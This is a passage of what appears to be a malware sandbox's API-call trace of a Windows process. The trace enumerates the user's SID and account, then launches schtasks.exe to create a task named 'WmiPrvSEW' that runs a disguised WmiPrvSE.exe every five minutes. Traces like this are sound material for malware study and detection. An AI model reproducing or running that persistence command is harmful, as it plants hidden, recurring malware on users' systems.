[4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0087.349] GetSidIdentifierAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee212 [0087.349] malloc (_Size=0x18) returned 0xeef60 [0087.350] _ultow (in: _Dest=0x5, _Radix=15453152 | out: _Dest=0x5) returned="5" [0087.350] malloc (_Size=0x18) returned 0xeef20 [0087.350] malloc (_Size=0x18) returned 0xef040 [0087.350] SysStringLen (param_1="S-1-") returned 0x4 [0087.350] SysStringLen (param_1="5") returned 0x1 [0087.350] memcpy (in: _Dst=0x3810e8, _Src=0x381238, _Size=0xa | out: _Dst=0x3810e8) returned 0x3810e8 [0087.350] memcpy (in: _Dst=0x3810f0, _Src=0x381328, _Size=0x4 | out: _Dst=0x3810f0) returned 0x3810f0 [0087.350] free (_Block=0xeef60) [0087.350] free (_Block=0xeef20) [0087.350] GetSidSubAuthorityCount (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee211 [0087.350] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee218 [0087.350] _ultow (in: _Dest=0x15, _Radix=15453152 | out: _Dest=0x15) returned="21" [0087.350] malloc (_Size=0x18) returned 0xeef20 [0087.350] malloc (_Size=0x18) returned 0xeef60 [0087.350] SysStringLen (param_1="S-1-5") returned 0x5 [0087.350] SysStringLen (param_1="-") returned 0x1 [0087.350] memcpy (in: _Dst=0x381328, _Src=0x3810e8, _Size=0xc | out: _Dst=0x381328) returned 0x381328 [0087.350] memcpy (in: _Dst=0x381332, _Src=0x381238, _Size=0x4 | out: _Dst=0x381332) returned 0x381332 [0087.350] free (_Block=0xef040) [0087.350] free (_Block=0xeef20) [0087.350] malloc (_Size=0x18) returned 0xeef20 [0087.350] malloc (_Size=0x18) returned 0xef040 [0087.351] SysStringLen (param_1="S-1-5-") returned 0x6 [0087.351] SysStringLen (param_1="21") returned 0x2 [0087.351] memcpy (in: _Dst=0x381238, _Src=0x381328, _Size=0xe | out: _Dst=0x381238) returned 0x381238 [0087.351] memcpy (in: _Dst=0x381244, _Src=0x3810e8, _Size=0x6 | out: _Dst=0x381244) returned 0x381244 [0087.351] free (_Block=0xeef60) [0087.351] free (_Block=0xeef20) [0087.351] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee21c [0087.351] _ultow (in: _Dest=0xfb7f942f, _Radix=15453152 | out: _Dest=0xfb7f942f) returned="4219442223" [0087.351] malloc (_Size=0x18) returned 0xeef20 [0087.351] malloc (_Size=0x18) returned 0xeef60 [0087.351] SysStringLen (param_1="S-1-5-21") returned 0x8 [0087.351] SysStringLen (param_1="-") returned 0x1 [0087.351] memcpy (in: _Dst=0x3810e8, _Src=0x381238, _Size=0x12 | out: _Dst=0x3810e8) returned 0x3810e8 [0087.351] memcpy (in: _Dst=0x3810f8, _Src=0x381328, _Size=0x4 | out: _Dst=0x3810f8) returned 0x3810f8 [0087.351] free (_Block=0xef040) [0087.351] free (_Block=0xeef20) [0087.351] malloc (_Size=0x18) returned 0xeef20 [0087.351] malloc (_Size=0x18) returned 0xef040 [0087.351] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0087.351] SysStringLen (param_1="4219442223") returned 0xa [0087.351] memcpy (in: _Dst=0x337a58, _Src=0x3810e8, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0087.351] memcpy (in: _Dst=0x337a6a, _Src=0x381238, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0087.351] free (_Block=0xeef60) [0087.352] free (_Block=0xeef20) [0087.352] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee220 [0087.352] _ultow (in: _Dest=0xfbc24a41, _Radix=15453152 | out: _Dest=0xfbc24a41) returned="4223814209" [0087.352] malloc (_Size=0x18) returned 0xeef20 [0087.352] malloc (_Size=0x18) returned 0xeef60 [0087.352] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0087.352] SysStringLen (param_1="-") returned 0x1 [0087.352] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0087.352] memcpy (in: _Dst=0x33838e, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0087.352] free (_Block=0xef040) [0087.352] free (_Block=0xeef20) [0087.352] malloc (_Size=0x18) returned 0xeef20 [0087.352] malloc (_Size=0x18) returned 0xef040 [0087.352] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0087.352] SysStringLen (param_1="4223814209") returned 0xa [0087.352] memcpy (in: _Dst=0x34da68, _Src=0x338368, _Size=0x2a | out: _Dst=0x34da68) returned 0x34da68 [0087.352] memcpy (in: _Dst=0x34da90, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34da90) returned 0x34da90 [0087.352] free (_Block=0xeef60) [0087.352] free (_Block=0xeef20) [0087.352] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee224 [0087.352] _ultow (in: _Dest=0xe49636b4, _Radix=15453152 | out: _Dest=0xe49636b4) returned="3835049652" [0087.352] malloc (_Size=0x18) returned 0xeef20 [0087.352] malloc (_Size=0x18) returned 0xeef60 [0087.352] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0087.353] SysStringLen (param_1="-") returned 0x1 [0087.353] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x3e | out: _Dst=0x34dd98) returned 0x34dd98 [0087.353] memcpy (in: _Dst=0x34ddd4, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34ddd4) returned 0x34ddd4 [0087.353] free (_Block=0xef040) [0087.353] free (_Block=0xeef20) [0087.353] malloc (_Size=0x18) returned 0xeef20 [0087.353] malloc (_Size=0x18) returned 0xef040 [0087.353] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0087.353] SysStringLen (param_1="3835049652") returned 0xa [0087.353] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x40 | out: _Dst=0x34da68) returned 0x34da68 [0087.353] memcpy (in: _Dst=0x34daa6, _Src=0x3810e8, _Size=0x16 | out: _Dst=0x34daa6) returned 0x34daa6 [0087.353] free (_Block=0xeef60) [0087.353] free (_Block=0xeef20) [0087.353] GetSidSubAuthority (pSid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee228 [0087.353] _ultow (in: _Dest=0x3e8, _Radix=15453152 | out: _Dest=0x3e8) returned="1000" [0087.353] malloc (_Size=0x18) returned 0xeef20 [0087.353] malloc (_Size=0x18) returned 0xeef60 [0087.353] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0087.353] SysStringLen (param_1="-") returned 0x1 [0087.353] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x54 | out: _Dst=0x34dd98) returned 0x34dd98 [0087.353] memcpy (in: _Dst=0x34ddea, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x34ddea) returned 0x34ddea [0087.353] free (_Block=0xef040) [0087.353] free (_Block=0xeef20) [0087.353] malloc (_Size=0x18) returned 0xeef20 [0087.354] malloc (_Size=0x18) returned 0xef040 [0087.354] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0087.354] SysStringLen (param_1="1000") returned 0x4 [0087.354] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x56 | out: _Dst=0x34da68) returned 0x34da68 [0087.354] memcpy (in: _Dst=0x34dabc, _Src=0x3810e8, _Size=0xa | out: _Dst=0x34dabc) returned 0x34dabc [0087.354] free (_Block=0xeef60) [0087.354] free (_Block=0xeef20) [0087.354] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0087.354] malloc (_Size=0x5e) returned 0xf0800 [0087.354] free (_Block=0xef040) [0087.354] malloc (_Size=0x18) returned 0xef040 [0087.354] free (_Block=0xf0800) [0087.354] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name=0x0, cchName=0xebcca4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 0 [0087.355] GetLastError () returned 0x7a [0087.355] malloc (_Size=0x14) returned 0xeef20 [0087.355] malloc (_Size=0x16) returned 0xeef60 [0087.355] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee210*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xeef20, cchName=0xebcca4, ReferencedDomainName=0xeef60, cchReferencedDomainName=0xebcca0, peUse=0xebcdb0 | out: Name="kEecfMwgj", cchName=0xebcca4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebcca0, peUse=0xebcdb0) returned 1 [0087.356] malloc (_Size=0x18) returned 0xef0a0 [0087.356] malloc (_Size=0x18) returned 0xef020 [0087.356] free (_Block=0xeef20) [0087.356] free (_Block=0xeef60) [0087.356] free (_Block=0xeff60) [0087.356] free (_Block=0xef020) [0087.356] free (_Block=0xef0a0) [0087.356] free (_Block=0xef040) [0087.357] free (_Block=0xee200) [0087.357] GetVersionExW (in: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x9d14, dwMinorVersion=0x32a120, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xebcf90*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0087.357] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebce18 | out: TokenInformation=0x0, ReturnLength=0xebce18) returned 0 [0087.357] GetLastError () returned 0x7a [0087.357] malloc (_Size=0x2c) returned 0xee240 [0087.357] GetTokenInformation (in: TokenHandle=0x2d8, TokenInformationClass=0x1, TokenInformation=0xee240, TokenInformationLength=0x2c, ReturnLength=0xebce18 | out: TokenInformation=0xee240, ReturnLength=0xebce18) returned 1 [0087.357] IsValidSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0087.357] GetLengthSid (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0087.357] malloc (_Size=0x1c) returned 0xeff60 [0087.357] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0xeff60, pSourceSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0xeff60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0087.357] GetSidIdentifierAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee252 [0087.357] malloc (_Size=0x18) returned 0xef040 [0087.357] _ultow (in: _Dest=0x5, _Radix=15453168 | out: _Dest=0x5) returned="5" [0087.357] malloc (_Size=0x18) returned 0xef0a0 [0087.358] malloc (_Size=0x18) returned 0xef020 [0087.358] SysStringLen (param_1="S-1-") returned 0x4 [0087.358] SysStringLen (param_1="5") returned 0x1 [0087.358] memcpy (in: _Dst=0x381238, _Src=0x381328, _Size=0xa | out: _Dst=0x381238) returned 0x381238 [0087.358] memcpy (in: _Dst=0x381240, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381240) returned 0x381240 [0087.358] free (_Block=0xef040) [0087.358] free (_Block=0xef0a0) [0087.358] GetSidSubAuthorityCount (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0xee251 [0087.358] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0xee258 [0087.358] _ultow (in: _Dest=0x15, _Radix=15453168 | out: _Dest=0x15) returned="21" [0087.358] malloc (_Size=0x18) returned 0xef0a0 [0087.358] malloc (_Size=0x18) returned 0xef040 [0087.358] SysStringLen (param_1="S-1-5") returned 0x5 [0087.358] SysStringLen (param_1="-") returned 0x1 [0087.358] memcpy (in: _Dst=0x3810e8, _Src=0x381238, _Size=0xc | out: _Dst=0x3810e8) returned 0x3810e8 [0087.358] memcpy (in: _Dst=0x3810f2, _Src=0x381328, _Size=0x4 | out: _Dst=0x3810f2) returned 0x3810f2 [0087.358] free (_Block=0xef020) [0087.358] free (_Block=0xef0a0) [0087.358] malloc (_Size=0x18) returned 0xef0a0 [0087.358] malloc (_Size=0x18) returned 0xef020 [0087.358] SysStringLen (param_1="S-1-5-") returned 0x6 [0087.358] SysStringLen (param_1="21") returned 0x2 [0087.358] memcpy (in: _Dst=0x381328, _Src=0x3810e8, _Size=0xe | out: _Dst=0x381328) returned 0x381328 [0087.358] memcpy (in: _Dst=0x381334, _Src=0x381238, _Size=0x6 | out: _Dst=0x381334) returned 0x381334 [0087.358] free (_Block=0xef040) [0087.359] free (_Block=0xef0a0) [0087.359] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0xee25c [0087.359] _ultow (in: _Dest=0xfb7f942f, _Radix=15453168 | out: _Dest=0xfb7f942f) returned="4219442223" [0087.359] malloc (_Size=0x18) returned 0xef0a0 [0087.359] malloc (_Size=0x18) returned 0xef040 [0087.359] SysStringLen (param_1="S-1-5-21") returned 0x8 [0087.359] SysStringLen (param_1="-") returned 0x1 [0087.359] memcpy (in: _Dst=0x381238, _Src=0x381328, _Size=0x12 | out: _Dst=0x381238) returned 0x381238 [0087.359] memcpy (in: _Dst=0x381248, _Src=0x3810e8, _Size=0x4 | out: _Dst=0x381248) returned 0x381248 [0087.359] free (_Block=0xef020) [0087.359] free (_Block=0xef0a0) [0087.359] malloc (_Size=0x18) returned 0xef0a0 [0087.359] malloc (_Size=0x18) returned 0xef020 [0087.359] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0087.359] SysStringLen (param_1="4219442223") returned 0xa [0087.359] memcpy (in: _Dst=0x337a58, _Src=0x381238, _Size=0x14 | out: _Dst=0x337a58) returned 0x337a58 [0087.359] memcpy (in: _Dst=0x337a6a, _Src=0x381328, _Size=0x16 | out: _Dst=0x337a6a) returned 0x337a6a [0087.359] free (_Block=0xef040) [0087.359] free (_Block=0xef0a0) [0087.359] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0xee260 [0087.359] _ultow (in: _Dest=0xfbc24a41, _Radix=15453168 | out: _Dest=0xfbc24a41) returned="4223814209" [0087.359] malloc (_Size=0x18) returned 0xef0a0 [0087.359] malloc (_Size=0x18) returned 0xef040 [0087.359] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0087.360] SysStringLen (param_1="-") returned 0x1 [0087.360] memcpy (in: _Dst=0x338368, _Src=0x337a58, _Size=0x28 | out: _Dst=0x338368) returned 0x338368 [0087.360] memcpy (in: _Dst=0x33838e, _Src=0x381238, _Size=0x4 | out: _Dst=0x33838e) returned 0x33838e [0087.360] free (_Block=0xef020) [0087.360] free (_Block=0xef0a0) [0087.360] malloc (_Size=0x18) returned 0xef0a0 [0087.360] malloc (_Size=0x18) returned 0xef020 [0087.360] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0087.360] SysStringLen (param_1="4223814209") returned 0xa [0087.360] memcpy (in: _Dst=0x34dd98, _Src=0x338368, _Size=0x2a | out: _Dst=0x34dd98) returned 0x34dd98 [0087.360] memcpy (in: _Dst=0x34ddc0, _Src=0x381238, _Size=0x16 | out: _Dst=0x34ddc0) returned 0x34ddc0 [0087.360] free (_Block=0xef040) [0087.360] free (_Block=0xef0a0) [0087.360] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0xee264 [0087.360] _ultow (in: _Dest=0xe49636b4, _Radix=15453168 | out: _Dest=0xe49636b4) returned="3835049652" [0087.360] malloc (_Size=0x18) returned 0xef0a0 [0087.360] malloc (_Size=0x18) returned 0xef040 [0087.360] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0087.360] SysStringLen (param_1="-") returned 0x1 [0087.360] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x3e | out: _Dst=0x34da68) returned 0x34da68 [0087.360] memcpy (in: _Dst=0x34daa4, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daa4) returned 0x34daa4 [0087.360] free (_Block=0xef020) [0087.360] free (_Block=0xef0a0) [0087.360] malloc (_Size=0x18) returned 0xef0a0 [0087.361] malloc (_Size=0x18) returned 0xef020 [0087.361] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0087.361] SysStringLen (param_1="3835049652") returned 0xa [0087.361] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x40 | out: _Dst=0x34dd98) returned 0x34dd98 [0087.361] memcpy (in: _Dst=0x34ddd6, _Src=0x381238, _Size=0x16 | out: _Dst=0x34ddd6) returned 0x34ddd6 [0087.361] free (_Block=0xef040) [0087.361] free (_Block=0xef0a0) [0087.361] GetSidSubAuthority (pSid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0xee268 [0087.361] _ultow (in: _Dest=0x3e8, _Radix=15453168 | out: _Dest=0x3e8) returned="1000" [0087.361] malloc (_Size=0x18) returned 0xef0a0 [0087.361] malloc (_Size=0x18) returned 0xef040 [0087.361] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0087.361] SysStringLen (param_1="-") returned 0x1 [0087.361] memcpy (in: _Dst=0x34da68, _Src=0x34dd98, _Size=0x54 | out: _Dst=0x34da68) returned 0x34da68 [0087.361] memcpy (in: _Dst=0x34daba, _Src=0x381238, _Size=0x4 | out: _Dst=0x34daba) returned 0x34daba [0087.361] free (_Block=0xef020) [0087.361] free (_Block=0xef0a0) [0087.361] malloc (_Size=0x18) returned 0xef0a0 [0087.361] malloc (_Size=0x18) returned 0xef020 [0087.361] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0087.361] SysStringLen (param_1="1000") returned 0x4 [0087.361] memcpy (in: _Dst=0x34dd98, _Src=0x34da68, _Size=0x56 | out: _Dst=0x34dd98) returned 0x34dd98 [0087.361] memcpy (in: _Dst=0x34ddec, _Src=0x381238, _Size=0xa | out: _Dst=0x34ddec) returned 0x34ddec [0087.361] free (_Block=0xef040) [0087.362] free (_Block=0xef0a0) [0087.362] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0087.362] malloc (_Size=0x5e) returned 0xf0800 [0087.362] free (_Block=0xef020) [0087.362] malloc (_Size=0x18) returned 0xef020 [0087.363] free (_Block=0xf0800) [0087.363] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name=0x0, cchName=0xebccb4, ReferencedDomainName=0x0, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 0 [0087.364] GetLastError () returned 0x7a [0087.364] malloc (_Size=0x14) returned 0xef0a0 [0087.364] malloc (_Size=0x16) returned 0xef040 [0087.364] LookupAccountSidW (in: lpSystemName=0x0, Sid=0xee250*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0xef0a0, cchName=0xebccb4, ReferencedDomainName=0xef040, cchReferencedDomainName=0xebccb0, peUse=0xebcdb8 | out: Name="kEecfMwgj", cchName=0xebccb4, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xebccb0, peUse=0xebcdb8) returned 1 [0087.364] malloc (_Size=0x18) returned 0xeef60 [0087.364] malloc (_Size=0x18) returned 0xeef20 [0087.364] free (_Block=0xef0a0) [0087.364] free (_Block=0xef040) [0087.364] free (_Block=0xeff60) [0087.364] free (_Block=0xeef20) [0087.364] free (_Block=0xeef60) [0087.364] free (_Block=0xef020) [0087.366] free (_Block=0xee240) [0087.366] malloc (_Size=0x48) returned 0xed270 [0087.366] LoadLibraryW (lpLibFileName="userenv.dll") returned 0x7fefced0000 [0087.373] GetProcAddress (hModule=0x7fefced0000, lpProcName="DestroyEnvironmentBlock") returned 0x7fefced1080 [0087.373] GetProcAddress (hModule=0x7fefced0000, lpProcName="CreateEnvironmentBlock") returned 0x7fefced10b0 [0087.373] malloc (_Size=0x18) returned 0xef020 [0087.373] CreateEnvironmentBlock () returned 0x1 [0087.407] memcpy (in: _Dst=0xebcf20, _Src=0xebdcf0, _Size=0x68 | out: _Dst=0xebcf20) returned 0xebcf20 [0087.407] malloc (_Size=0x18) returned 0xeef60 [0087.407] CreateProcessAsUserW (in: hToken=0x238, lpApplicationName=0x0, lpCommandLine="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /f", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x1000428, lpEnvironment=0x37b3d0, lpCurrentDirectory=0x0, lpStartupInfo=0xebcf20*(cb=0x68, lpReserved=0x0, lpDesktop="", lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x5, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0xebcdc0 | out: lpCommandLine="schtasks.exe /create /tn \"WmiPrvSEW\" /sc MINUTE /mo 5 /tr \"'C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\WmiPrvSE.exe'\" /f", lpProcessInformation=0xebcdc0*(hProcess=0x2fc, hThread=0x244, dwProcessId=0x120, dwThreadId=0x694)) returned 1 [0087.411] CloseHandle (hObject=0x2fc) returned 1 [0087.411] CloseHandle (hObject=0x244) returned 1 [0087.411] free (_Block=0xeef60) [0087.412] DestroyEnvironmentBlock () returned 0x1 [0087.412] malloc (_Size=0x48) returned 0xed2c0 [0087.412] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x5d112580, dwHighDateTime=0x1d9eb0c)) [0087.412] SetEvent (hEvent=0x1f0) returned 1 [0087.412] CloseHandle (hObject=0x2d8) returned 1 [0087.412] CloseHandle (hObject=0x238) returned 1 [0087.681] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x4) returned 0x31da80 [0087.682] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x31da80, pulNumLanguages=0xebe4d0 | out: pulNumLanguages=0xebe4d0) returned 1 [0087.682] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0087.989] SetLastError (dwErrCode=0x0) [0087.989] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0087.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0087.989] SetLastError (dwErrCode=0x0) [0087.989] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da90, pcchLanguagesBuffer=0xebe3e0) returned 1 [0087.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0087.989] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da90 | out: hHeap=0x2e0000) returned 1 [0087.989] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f1f0 [0087.989] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f1f0, 